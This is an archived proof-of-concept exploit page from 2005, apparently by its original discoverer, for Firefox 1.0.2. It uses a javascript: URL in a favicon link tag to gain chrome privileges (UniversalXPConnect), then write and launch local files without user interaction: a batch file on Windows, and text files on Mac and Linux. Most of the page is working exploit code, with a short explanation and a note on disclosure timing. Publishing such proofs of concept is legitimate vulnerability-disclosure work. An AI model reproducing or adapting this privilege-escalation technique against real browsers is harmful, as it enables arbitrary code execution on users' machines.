<!-- Comment placed below to keep the author info together: /str0ke __Contact Informations Michael Krax <mikx@mikx.de> http://www.mikx.de/?p=15 mikx --> <html> <head> <title>Firelinking - Proof-of-Concept</title> <link rel="SHORTCUT ICON" href="favicon.ico"> <script language="JavaScript" type="text/javascript"> var pf = navigator.platform.toLowerCase(); if (pf.indexOf("win") != -1) { var os = "win"; } else if (pf.indexOf("mac") != -1) { var os = "mac"; } else { var os = "linux" } function runDemo() { // this is an ugly caching workaround document.getElementById('outhtml').innerHTML = ""; document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value window.setTimeout("document.getElementById('outhtml').innerHTML += document.getElementById('linkhtml_"+os+"').value",300); } </script> </head> <body> <div style="font-family:Verdana;font-size:11px;"> <div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firelinking - Proof-of-Concept</div> Designed for Firefox 1.0.2 | bugzilla <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=290036" target="_blank">#290036</a> <br><br> <div style="width:600px"> <div id="outhtml" style="display:none"></div> <textarea id="clearhtml" style="display:none"> <link rel="SHORTCUT ICON" href="favicon.ico"> </textarea> <textarea id="linkhtml_win" style="display:none"> <link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch();','','')"> </textarea> <textarea id="linkhtml_mac" style="display:none"> <link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write(output,output.length);outputStream.close();','','')"> </textarea> <textarea id="linkhtml_linux" style="display:none"> <link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'~/booom.txt\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write(output,output.length);outputStream.close();','','')"> </textarea> <strong><u>NOTICE:</u></strong> I really wonder why the Mozilla Foundation decided to release a serious security update on a friday night and to disclose the link to my proof-of-concept code so quickly. It wasn't intendet from my side to release this as a 0day exploit. Please complain to <a href="mailto:security@mozilla.org">security@mozilla.org</a> if you disagree with their release policy. Sorry, no CVE candidate number yet for that reason. <br><br><br> The link tag allows to load a custom image as the icon for a website, displayed in the location bar and in the tab title. <br><br> By setting the href attribute of this tag to a javascript url, it is possible to call chrome functions and run arbitrary code without user interaction. <br><br> The example is cross platform: On Windows this example creates the file c:\booom.bat and launches it (opens a dos box with a dir command). On Linux (tested Fedora Core) and MacOSX the example creates the file ~/booom.txt or /booom.txt. <br><br> The non-windows examples are only roughly tested. Please don't complain if not working. I doubt every Mac user can write to root by default. You get full user rights with UniversalXPConnect, so everything else is just a matter of implementation time. <br><br> <a href="#" onclick="runDemo();runDemo();">Run example</a> (cross platform) <br><br><br> </div> </body> </html> # milw0rm.com [2005-04-18]